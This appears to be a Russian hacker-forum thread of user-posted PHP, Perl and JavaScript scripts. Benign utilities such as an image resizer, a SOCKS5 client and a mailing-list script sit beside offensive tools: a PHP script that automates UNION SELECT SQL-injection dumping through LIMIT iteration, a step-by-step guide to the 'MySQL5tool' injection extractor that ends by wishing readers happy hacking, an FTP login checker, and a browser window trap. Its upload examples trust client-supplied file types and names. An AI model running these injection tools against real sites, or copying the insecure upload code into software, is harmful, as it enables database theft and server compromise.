by $p01nt Программа парсит ссылки с search.icq.com и пишет их в файл Скачать Кому пригодилась - не забудте про плюсик ))
Была необходимость написать скрипт, который выводит email на картинке + создаёт эту картинку с учётом длины мейла. Что-то типа простой защиты от сборщиков емейлов). PHP: function protectmail($email){ for($i=0,$w=0; $i < strlen($email); $i++,$w+=15){ $arr[$i] = substr($email, $i, 1); $width = $w; } $img = imagecreate($width, 20); imagecolorallocate($img, mt_rand(230,255), mt_rand(230,255), mt_rand(230,255)); $color = imagecolorallocate ($img, '', '', ''); for($i=0,$a=0; $i < strlen($email); $i++){ $string = imagecolorallocate($img, rand(0,250), rand(0,250), rand(0,250)); imagestring($img, 3, $a+=mt_rand(8,15), mt_rand(0,5), $arr[$i], $string); } return imagegif($img); } PHP: header('Content-type: image/gif'); echo protectmail('[email protected]');
Скрипт изменяет размер изображения PHP: <?php $w=160; //новая ширина $h=120; //новая высота $i='1.jpg'; $i='images/'.$i; //путь к изображению $left=0; //задаём смещение слева $top=0; //задаём смещение сверху $size = getimagesize($i); // получаем информацию о исходном изображении $sw=$size['0']; //исходная ширина $sh=$size['1']; //исходная высота $k1=$sw/$w; //коэффициент отношения ширины $k2=$sh/$h; //коэффициент отношения высоты $e=$w/$h; //коэффициент отношения новой ширины и высоты $se=$sw/$sh; //коэффициент отношения исходной ширины и высоты $m=$se/$e; //поправочный коэффициент if($w>=$h) { $sh=$h*$k1; if($e<$se) { $sw=$sw/$m; $sh=$sh/$m; $left=($size['0']-$sw)/2; } $top=($size['1']-$sh)/2; } else { $sw=$w*$k2; if($e>$se) { $sw=$sw*$m; $sh=$sh*$m; $top=($size['1']-$sh)/2; } $left=($size['0']-$sw)/2; } $image = imagecreatetruecolor($w,$h); //создаём пустое новое изображение $s = imagecreatefromjpeg($i); //считываем изображение из jpeg файла imagecopyresampled ($image, $s, 0, 0, $left, $top, $w, $h, $sw, $sh); //изменяем размер изображения header("Content-type: image/png"); imagepng($image);//выводим новое изображение в формате png imagedestroy($image); //освобождаем память imagedestroy($s); //освобождаем память ?> Делал как-то галерею, нужно было как-то привести все изображения к одному размеру. Преимущество этого скрипта в том, что он учитывает пропорцию исходного изображения. Картинки не искажаются при любых исходных и конечных размерах и размер изображения в итоге получается строго в заданных $w и $h. Кому не лень, поэксперементируйте. Все скрипты аналоги в нете, которые я нашёл работают немного подругому, не приводя размер изображения к заданному, игнорируя либо ширину либо высоту. Пользуйтесь
Brut_or_grabber_limit ////////////////////////////////////// // Brut_or_grabber_limit // Coder By M!cr0b aka HakNet v1.0 // icq: 532-415 // Whack Team // www.forum.whack.ru ////////////////////////////////////// Brut_or_grabber_limit Даной скрипт перебирает инэкцию через лимит и сохраняет в файл "save.txt.gz". Вобше ищо есть несколько функций.. но для етого вам придеса самим заюзать скрипт... Так как скрипт написаной мной, ридми по используванию есть на украинском, переводом страдать я нехочу так что юзайте http://pereklad.online.ua Скачать скрипт с ридми: http://webfile.ru/2175298 или сам скрип: PHP: <? ////////////////////////////////////// // Coder By M!cr0b aka HakNet v1.0 // // icq: 532-415 // // Whack Team // // forum.whack.ru // ////////////////////////////////////// ?> <html> <META http-equiv=Content-Type content="text/html; charset=windows-1251"> <head><title></title> <style> body{ margin:200 150; background: #666; font: normal 13px Arial, Helvetica, sans-serif; color: #666; } table,td{ border : 1px dashed #444444; background-color : #F4F4F4; font : 12px courier new; color : #888888; } input,select{ background-color: #000000; font:8pt verdana; text-align:left; color: #669666; } </style> <body> <table> <tr> <td> <form method="post"> 1. <a href="readme.txt">ReadMe</a><br> 2. Count: <input type="type" name="count" size="5"><input type='checkbox' onChange="if(this.checked){document.all.start.disabled=false;}else{document.all.start.disabled=true;}">yes<br> 3. Url: <input type="type" name="url" value="http://coder/mysqltools/testing_injection/index.php?i=-1+union+select+1,concat(0x2b7c,categor,0x7c2b),3,4+from+categors" size="135"> <select name="Z"> <option value="">null</option> <option selected value="/*">/*</option> <option value="--">--</option> </select> <center><input type="submit" name="start" disabled="disabled" value="Старт" style="cursor:pointer"> </form> <br><br> <form method="POST"> <input type="submit" name="musor" value="Очистка" style="cursor:pointer"></center> </form> </td> </tr> <tr> <td> <?php system('tar -cvf save.txt.tar Z:\home\coder\www\mysqltools\Brut_or_grabber_limit'); if($_POST['start']){ $count=$_POST['count']; $url=$_POST['url']; $Z=$_POST['Z']; $fp=gzopen("save.txt.tar", "w9"); for($i=0;$i<$count;$i++){ // скільіки разів повторювати цикл вибірки $input=@file_get_contents("".$url."+LIMIT+".$i.",1".$Z.""); gzwrite ($fp, $input); } gzclose ($fp); echo "<font color='#669666'><center>Для очищення спочтку розпакуйте файл <b>save.txt.gz</b></center></font>"; } if($_POST['musor']){ $input=@file_get_contents("save.txt"); $oprede = "+|"; $oprede2 = "|+"; preg_match_all('|'.preg_quote($oprede, '/').'.*'.preg_quote($oprede2, '/').'|s',$input,$out); $sd = explode($oprede2,$out[0][0]); $cnt = count($sd); $zapis=fopen("good.txt", "a+"); for ($i=0;$i<$cnt-1;$i++) { preg_match_all('|'.preg_quote($oprede, '/').'.*|s',$sd[$i],$out1); $str = str_replace($oprede,"",$out1[0][0]); fwrite($zapis, $str."\n"); } fclose ($zapis); echo "<font color='#669666'><center>Очищено вдало. Перевірити: <a href='good.txt'><b>good.txt</b></a></center</font>"; } ?> </body> </td> </tr> </table>
Работ через соксы Работ через socks PHP: <? /** * Class for work using SOCKS5 protocol. * Copyright by Elw00d * В данный момент поддерживаются лишь исходящие TCP-соединения с socks5-сервером, не требующим авторизации */ class socks5 { var $ip; var $port; var $socket; var $socket_timeout; var $connected; // есть ли установленное соединение ЧЕРЕЗ сокс с удаленным хостом // конструктор — инициализирует переменные класса, но никуда не подключается function socks5($ip, $port, $timeout = 3000) { $this->socket = 0; $this->socket_timeout = $timeout; $this->ip = $ip; $this->port = $port; $this->connected = false; return true; } // подключение к сокс-серверу (только socks5) // авторизация user/pass не поддерживается // timeout — в миллисекундах // возвращает true/false в зависимости от успеха операции function socks5_init() { if ($this->socket = @pfsockopen($this->ip, $this->port, $errno, $errstr, $this-> socket_timeout / 1000)) { fwrite($this->socket, pack("C3", 0x05, 0x01, 0x00)); $answer = ""; stream_set_timeout($this->socket, 0, $this->socket_timeout); do { $buf = @fread($this->socket, 1024); $socket_status = stream_get_meta_data($this->socket); if ($buf && !$socket_status['timed_out']) $answer .= $buf; if ($socket_status['eof']) { $this->socket = 0; return false; // сервер закрыл коннект } } while (strlen($answer) < 2); $response = @unpack("Cver/Cmethod", $answer); if ($response["ver"] == 0x05 and $response["method"] == 0x00) return true; fclose($this->socket); $this->socket = 0; } return false; } // установка TCP-соединения с хостом через сокс-сервер // после успешного соединения флаг $this->connected устанавливается в true // возвращает true/false function socks5_connect($host, $port) { if ($this->socket) { if (ip2long($host) == -1) fwrite($this->socket, pack("C5", 0x05, 0x01, 0x00, 0x03, strlen($host)) . $host . pack("n", $port)); else fwrite($this->socket, pack("C4Nn", 0x05, 0x01, 0x00, 0x01, ip2long(gethostbyname ($host)), $port)); $answer = ""; do { $buf = @fread($this->socket, 1024); $socket_status = stream_get_meta_data($this->socket); if ($buf && !$socket_status['timed_out']) $answer .= $buf; if ($socket_status['eof']) { $this->socket = 0; return false; // сервер закрыл коннект } } while (strlen($answer) < 4); $response = @unpack("Cversion/Cresult/Creg/Ctype/Lip/Sport", $answer); if ($response["version"] == 0x05 and $response["result"] == 0x00) { $this->connected = true; return true; } } return false; } // позволяет получить дескриптор сокета соединения с сокс-сервером // после того, как соединение через сокс установлено, можно напрямую отправлять/принимать данные из этого сокета, // общаясь таким образом с удаленным хостом. Все выглядит так, как будто сокет соединен напрямую с целевым хостом. // Совет: пользоваться этой функцией с осторожностью, не вызывать напрямую fclose(), юзать метод socks5_closeconnection() // Вопрос: зачем эта функция, если она нарушает инкапсуляцию класса? // Ответ: да, это пренебрежение к канонам ООП, но зато делает удобной доработку существующих скриптов в сторону // соксификации. Вместо того, чтобы отлаживать ещё один слой ввода-вывода, легче дописать к скрипту процедурку // инициализации соединения через сокс + добавочную обработку ошибок (специально для соксов), а потом просто получать // дескриптор сокета и не трогать исходные вызовы fread(), fwrite() или stream_set_timeout(). Если же необходимо // закрыть соединение, достаточно просто вместо fclose() вызвать socks5_closeconnection(). В том случае, если сокс // отваливается по таймауту, вообще не надо ничего менять, и разрыв коннекта интерпретируется скриптом по-старому. function socks5_getsocket() { return $this->socket; } function socks5_closeconnection() { //if ($this->socket) @fclose($this->socket); $this->connected = false; $this->socket = 0; } } ?> Использование PHP: <?php set_time_limit(0); include("socks.class.php"); $server_name = "whatismyip.com"; $server_port = 80; $socks = new socks5("127.0.0.1", 33142); $socks->socks5_init(); if ($socks->socks5_connect($server_name, $server_port)) { // формируем запрос ,который будет отправлен, через сокс, серверу $head = "GET / HTTP/1.0\r\n"; $head .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.52\r\n"; $head .= "Host: www.whatismyip.com\r\n"; $head .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"; $head .= "Accept-Language: ru,en;q=0.9\r\n"; $head .= "Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n"; $head .= "Proxy-Connection: close\r\n\r\n"; fwrite($socks->socks5_getsocket(),$head); // считываем ответ HTTP-сервера через SOCKS-сервер до конца =) while(!feof($socks->socks5_getsocket())) { $l=fread($socks->socks5_getsocket(),1024); echo $l; } } ?>
Функция получения страницы через сокеты. Параметры: $site - адрес сайта без http .обязательный параметр. $page - адрес страницы сайта .обязательный параметр. $isheaders=false - получать ли заголовки. по умолчанию выкл. $ua='Opera 9.27 (compatible; MSIE 6.0; Windows NT 5.1; ru)' - браузер $ref='' - реферрер $cookie='' - печеньки $post='' - пост данные PHP: function get_page($site,$page,$isheaders=false,$ua='Opera 9.27 (compatible; MSIE 6.0; Windows NT 5.1; ru)',$ref='',$cookie='',$post='') { $page=trim($page); $site=trim($site); $socket = fsockopen($site, 80, $errno, $errstr, 15); if ($socket){ if ($post!=''){ $send = "POST $page HTTP/1.0\r\n"; $send .= "Content-Length: ". strlen($post) ."\r\n"; $send .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n"; } else $send = "GET $page HTTP/1.0\r\n"; $send .= "User-Agent: $ua\r\n"; $send .= "Host: $site\r\n"; $send .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"; if($ref!='') $send .= "Referer: $ref\r\n"; if($cookie!=''){ $send .= "Cookie: $cookie\r\n"; $send .= 'Cookie2: $Version=1'."\r\n"; } $send .= "Accept-Language: ru,en;q=0.9,ru-RU;q=0.8\r\n"; $send .= "Connection: close\r\n\r\n".$post; if(fputs($socket,$send)) { if(!$isheaders) while(fgets($socket,1024)!="\r\n" && !feof($socket)); $he=""; while(!feof($socket)) $he.=fread($socket,10240); }; fclose($socket); } return $he; };
определение даты и времени на сервере: PHP: <?php $data = date('Y-m-d [H:i:s]'); echo "Текущая дата и время на сервере: $data"; ?>
Пример скипта загрузки файлов на сервер: PHP: <?php if ($HTTP_POST_VARS['submit']) { if (!is_uploaded_file($HTTP_POST_FILES['file']['tmp_name'])) { $error = "You did not upload a file!"; unlink($HTTP_POST_FILES['file']['tmp_name']); // assign error message, remove uploaded file, redisplay form. } else { //A file was uploaded $maxfilesize=300000; if ($HTTP_POST_FILES['file']['size'] > $maxfilesize) { $error = "File is too large."; unlink($HTTP_POST_FILES['file']['tmp_name']); // assign error message, remove uploaded file, redisplay form. } else { //File has passed all validation, copy it to the final destination and remove the temporary file: copy($HTTP_POST_FILES['file']['tmp_name'],$HTTP_POST_FILES['file']['name']); unlink($HTTP_POST_FILES['file']['tmp_name']); print "File has been successfully uploaded!"; exit; } } } ?> <html> <head></head> <body> <form action="<?=$PHP_SELF?>" method="post" enctype="multipart/form-data"> <br><br> Choose a file to upload:<br> <input type="file" name="file"><br> <input type="submit" name="submit" value="submit"> </form> </body> </html>
FTP Account checker HTML: <html> <head> <style type="text/css"> body {background-color: darkgray} </style> </head> <center> <form action="check.php" method="post"><br> Host:<input type="text" name="host"><br> User:<input type="text" name="user"><br> Pass:<input type="text" name="pw"><br> <br><input type="submit" value="Check" /></table><br> </form> <center/> check.php: PHP: <?php $host = $_POST["host"]; $user = $_POST["user"]; $pass = $_POST["pw"]; $con = ftp_connect($host) or die("cant connect"); if (@ftp_login($id, $user, $pass)) { echo "<font color=blue>Working!</font>"; } else { echo "<font color=red>Not working</font>"; } ftp_close($con); ?>
SOCKS Proxy List Checker Code: #!/usr/bin/perl use strict; use warnings; use IO::Socket::INET; # SOCKS Proxy List Checker # Coded by sToRm # www.GoNullYourself.org # # Accepts proxy list in # 1.2.3.4:1111 format if ( @ARGV != 1 ) { print "Usage: $0 <file>\n"; exit(1); } open(PROXIES, "<$ARGV[0]") or die($ARGV[0].' wasn\'t found'); open(VALID, '>>valid.txt') or die('valid.txt isn\'t writable'); my ($connectable, $unconnectable, $invalid) = (0, 0, 0); while(<PROXIES>) { chomp($_); my $line = $_; if ($line =~ /([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}\:([0-9]){1,5}/) { my @proxy = split(/:/, $line); my $SOCK = IO::Socket::INET->new ( PeerAddr => $proxy[0], PeerPort => $proxy[1], Timeout => 2, ); if ( $SOCK ) { print "[+] $line\n"; print VALID $line."\n"; ++$connectable; } else { print "[-] $line\n"; ++$unconnectable; } } else { print "[-] $line is invalid\n"; ++$invalid; } } my $total = $connectable + $unconnectable + $invalid; print "\nProxy list exhausted\n"; print "Connectable: $connectable\n"; print "Unconnectable: $unconnectable\n"; print "Invalid Lines: $invalid\n"; print "Total Checked: $total\n"; print "Working proxies saved to valid.txt\n";
омг, $HTTP_POST_VARS давно не рулит. Вот мой пример: PHP: <?php /* Пример загрузки файлов на сервер */ #Дира для загруженных файлов $uploaddir = ''; #Разрешённые типы файлов (через запятую) $types = 'jpeg,gif,png,rar,zip'; #Максимальный размер файла (в килобайтах) $maxsize = 100; if(!empty($_FILES)){ $maytypes = explode(',', str_replace(' ', '', $types)); foreach($maytypes as $maytype){ if(stristr($_FILES['filename']['type'], $maytype)){ $may = 1; break; }else{ $may = 0; } } if($may){ if($_FILES['filename']['size'] <= $maxsize*1024){ $dir = './'.$uploaddir.'/'.basename($_FILES['filename']['name']); if(copy($_FILES['filename']['tmp_name'], $dir)){ echo 'Файл успешно загружен.<br/> Ссылка на файл: <a href="'.$uploaddir.'/'.$_FILES['filename']['name'].'">'.$_FILES['filename']['name'].'</a>'; }else{ echo 'Возникли ошибки при загрузке файла'; } }else{ echo 'Размер файла превышает '.$maxsize.' килобайт'; } }else{ echo 'Тип файла не входит в состав разрешённых<br/>Разрешённые типы файлов: '.$types; } } ?> <form action="<?=$_SERVER['PHP_SELF']?>" method="post" enctype="multipart/form-data"> <input name="filename" type="file" /><br /> <input type="submit" value="Загрузить" /> </form>
Название скрипта: SubsribleMaxGal Назначение: организация подписки на новости вашего сайта, вашу другую информацию. Теперь нет необходимости пользоваться бесплатными сервисами подписок, типа www.subscrible.ru и другие. Файлы : subscrible.html - это форма для регистрации нового подписчика subscrible.php - основной скрипт системы подписки usersnot.txt - файл с электронными адресами подписчиков не прошедших до конца регистрацию users.txt - подписчики, прошедшие регистрацию Использование: после того, как новый подписчик введет свой электронный адрес, ему будет отправлено письмо, в котором будет указана ссылка, по которой необходимо пройти, чтобы завершить регистрацию. Для входа в административную панель, необходимо в браузере загрузить subscrible.php Если это первый вход, вам будет предложено создать файл с паролем и логином, пароль шифруется внутренним алгоритмом php md5, что исключает возможность расшифровки. Далее думаю разберетесь. subscrible.html HTML: <html> <body> <form action=subscrible.php method=post> <b><center>Пожалуйста, введите Ваш e-mail:<input type=text size=15 name=email> <input type=submit value="Подписаться"> </form> </body> </html> subscrible.php PHP: <?php if ( isset ($id) ) { $data = File ("users.txt"); for ($i=0;$i<count($data);$i++) { $dat = explode (":", $data[$i]); echo "<center><table border=1 bgcolor=lightblue>"; echo "<tr><td><center>Email<td><center>Дата регистрации</tr>"; echo "<tr><td><center>$dat[0]<td><center>$dat[1]</tr></table><br>"; } echo "<a href=\"subscrible.php\">Назад</a>"; exit; } if ( isset ($text) && isset ($subject) ) { if ($text == "" OR $subject == "") { echo "<b><center>Не указана тема или текст подписки !"; echo "<p><a href=\"subscrible.php\">Назад</a>"; exit; } $data = File ("users.txt"); for ($i=0;$i<count($data);$i++) { $dt = explode (":", $data[$i]); $to = $dt[0]; $text = $text."\r\n\r\n\r\n --"; mail ($to, $subject, $text); echo "<center>$to -> отправлено<br>"; } echo "Рассылка успешно отправлена, спасибо за использование системы"; exit; } if ( isset ($login) && isset ($password)) { if ( ! file_exists ("passwordad.txt") ) { $password = md5 ($password); $fp = fopen ("passwordad.txt", "w"); fputs ($fp, "$login:$password"); fclose ($fp); echo "<b><center><i>Вход для администратора подписок<p></i>"; echo "Файл с паролем создан успешно !<p>"; echo "<form action=subscrible.php method=post>"; echo "<table border=0 bgcolor=lightblue>"; echo "<tr><td>Login<td><input type=text size=15 name=login></tr>"; echo "<tr><td>Password<td><input type=text size=15 name=password></tr>"; echo "<tr><td colspan=2><center><input type=submit value=\"ВХОД\"></tr>"; echo "</table>"; exit; } $data = File ("passwordad.txt"); $dat = explode (":", $data[0]); $password = md5 ("$password"); if ($dat[0] == "$login" && $dat[1] == "$password") { $data = File ("users.txt"); echo "<b><center><h2>Административная панель</h2><p>"; echo "Всего зарегистрировано подписчиков: ".count($data)."<p>"; echo "<br><a href=\"subscrible.php?id=1\">Посмотреть всех подписчиков</a><br>"; if (count($data) == 0) { echo "<b><center>Не кому делать рассылку !"; exit; } echo "<form action=subscrible.php method=post>"; echo "<input type=submit value=\"Разослать подписчикам\"<p>"; echo "<p>Укажите тему, которая будет подставляться в письмо при отправке информации подписчикам<br>"; echo "<p><input type=text size=20 name=subject>"; echo "<p>Введите в текстовое поле текст Вашей рассылки (можно указывать html-теги)<br>"; echo "<textarea name=text cols=85 rows=10></textarea>"; echo "</form>"; exit; } } if ( ! isset ($email) && ! isset ($number) ) { echo "<b><center><i>Вход для администратора подписок<p></i>"; if ( ! file_exists ("passwordad.txt") ) { echo "Вы входите первый раз, сейчас будет создан файл с Вашим логином и паролем"; } echo "<form action=subscrible.php method=post>"; echo "<table border=0 bgcolor=lightblue>"; echo "<tr><td>Login<td><input type=text size=15 name=login></tr>"; echo "<tr><td>Password<td><input type=text size=15 name=password></tr>"; echo "<tr><td colspan=2><center><input type=submit value=\"ВХОД\"></tr>"; echo "</table>"; exit; } $data = File ("usersnot.txt"); if ( isset ($number) && isset ($email) ) { for ($i=0;$i<count($data);$i++) { $dat = explode (":", $data[$i]); if ( $dat[0] == "$email" && $dat[1] == "$number\r\n") { $datemom = date ("d F", time()); $fp = fopen ("users.txt", "a"); fputs ($fp, "$email:$datemom\r\n"); fclose ($fp); $fp = fopen ("usersnot.txt","w"); for ($f=0;$f<count($data);$f++) { $da = explode (":", $data[$f]); if ($da[0] == $email) { $data[$f] = trim (""); } fputs ($fp, $data[$f]."\r\n"); } fclose ($fp); echo "<b><center>Спасибо за регистрацию !"; exit; } } echo "Не могу найти запись !"; exit; } if ( isset ($email) ) { $email = substr ($email, 0, 50); if ( ! stristr ($email, "@") ) { echo "<b><center>Указан неверный e-mail !"; exit; } $data = File ("users.txt"); for ($i=0;$i<count($data);$i++) { $dat = explode (":", $data[$i]); if ($dat[0] == "$email") { echo "На этот адрес уже произведена подписка !"; exit; } } $randomess = rand(99999999, 10000); $site = "127.0.0.1/subscrible/subscrible.php"; $to = $email; $subject = "Подтверждение подписки !"; $message = "Здравствуйте\r\nНа Ваш электронный адрес $email была произведена подписка с сайта $site\r\nДля подтверждения подписки пройдите по следующей ссылке: http://$site?email=$email&number=$randomess"; mail ($to, $subject, $message) or print ("Не могу отправить письмо !"); $fp = fopen ("usersnot.txt", "a"); fputs ($fp, "$email:$randomess\r\n"); fclose ($fp); } ?> usersnot.txt , users.txt - пустые файлы
Может у кого есть рабочий скрипт, с вот такими функциями как тут ??? Все что выкладывалось ранее уже не работает.
[PERL]Simple IRC Bot [PERL]Simple IRC Bot Code: use IO::Socket; = "irc.not-a-bot.net"; = 1337; = "#test"; = "perlbot"; = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "", PeerPort => "") || die "Failed to connect to :\n"; print "NICK \r\n"; print "USER \r\n"; print "JOIN \r\n"; print "PRIVMSG :Hello\r\n"; while(<>) { print ; if(/PING/) { = ; =~ s/PING/PONG/; print ; } elsif(/PRIVMSG/) { = ; =~ s/\r\n//; # Remove \r\n @tokens = split /:/, ; # Split line into tokens @command = split / /, @tokens[1]; # Split second token (first is just blank in this case) @message = split / /, @tokens[2]; # Split third token @user = split /!/, @command[0]; # Split first command token, which is USERNAME!USERHOST if( =~ m/.exit/) { print "PRIVMSG :Exit command sent by ()\r\n"; print "QUIT :\r\n"; close ; } if( =~ m/.join/) { print "PRIVMSG :Join command sent by ()\r\n"; print "JOIN \r\n"; } if( =~ m/.msg/) { print "PRIVMSG :Message command sent by ()\r\n"; print "PRIVMSG :\r\n"; } } }
Не дает закрвать окно. PHP: <html> <head> <title>Press ALT+F4</title> </head> <body onunload="goodBye()"> <p align="center"> <b>Yuo cant close your browser window</b> </p> <script language="JavaScript"> <!-- function goodBye() {window.open("Cantclose.htm");} //--> </script> <p align="center"> <b>Try Alt+F4!</b> </p> </body> </html>
Позволяет узнать выставленную кодировку. PHP: <script> var u=navigator.userAgent; if (u.indexOf("Win") != -1) // Текст в 1251 document.writeln ("Windows 1251"); else if (u.indexOf("DOS") != -1 || u.indexOf("OS/2") != -1) // Текст в 866 document.writeln("MS-DOS CP866"); // Текст в K018 else document.writein ( "лПДЙТПЧЛБ KOI8-R"); </script>
Sarkis, ну ты молодец, конечно! Дай угадаю! Следущий скрипт будет показывать последнее обновление страницы? https://forum.antichat.ru/showpost.php?p=216169&postcount=3
MySQL5tool Программа MySQL5tool предназначена для автоматизации процесса получения информации посредством SQL-Inject на сайтах под управлением MySQL5 и более поздних версий (т.е. там где присутствует information_schema) + для версий MySQL<5 при условии, что вам известны имя хотя бы одной таблицы и имя хотя бы одного поля из этой таблицы В комплекте 6 файлов: 1. mysql5tool.exe - сама программа 2. source_url.txt - файл инициализация URL, при котором можно получить SQL-inject (в этой версии предполагается, что количество колонок вы уже подобрали сами самостоятельно и вам лишь следует скопирвать нужный URL в этот файл и заменить номер принтабельной колонки (одной) на символ "№"). Например: http://www.sait.ru/index.php?id=1+union+select+1,№ 3. source_filtr.txt - файл инициализации фильтра (/*,-- или просто пусто) 4. source_host.txt - файл инициализации взламываемого хоста. Если посмотреть выше - то www.sait.ru 5. После того, как вы занесли заполнили эти два файла (обязательное условие для корректной работы программы), можете запускать саму программу mysql5tool.exe. Она автоматически выяснит и сохранит без вашего участия в файл output.txt следующие параметры: 1) Точная версия MySQL 2) Имя базы 3) Пользователь базы 4) Кол-во таблиц в information_schema.TABLES 5) Список таблиц из information_schema.TABLES 6. После того, как вы получили список таблиц из information_schema, вы можете получить список полей интересующей вас таблицы, для этого вам надо заполнить файл source_table.txt - а именно просто внести туда название интересующей вас таблицы. И снова запустить mysql5tool.exe. Будет выяснен список всех полей интересующей вас таблицы и сохранен также в файл output.txt 7. Когда вы узнали список полей интересующей вас таблички, вы можете получить данные по интересующим вас только что узнанным полям (т.е. сама суть SQL-inj). Для это вам просто надо надо занести список интересующих Вас полей (не больше 3-х за раз) в файл source_column.txt, можно заносить как одно поле, так и несколько. Несколько полей заносятся просто через запятую и без пробелов. Чтобы получить информацию - запустите снова mysql5tool.exe. Данные будут выведены на экран и также сохранены в файл output.txt Программа написана на чистом PHP Приятного хакинга Example: http://www.site.org/index.php?id=1+union+select+1,version()/* source_url.txt: "http://www.site.org/index.php?id=1+union+select+1,№" source_host.txt: "www.site.org" source_filtr.txt: "/*" source_table.txt: "" source_column.txt: "" Скачать здесь http://pashkela.narod.ru/progi/MySQL5tool.rar (пароль 123) (с) Pashkela Final version 08.09.2008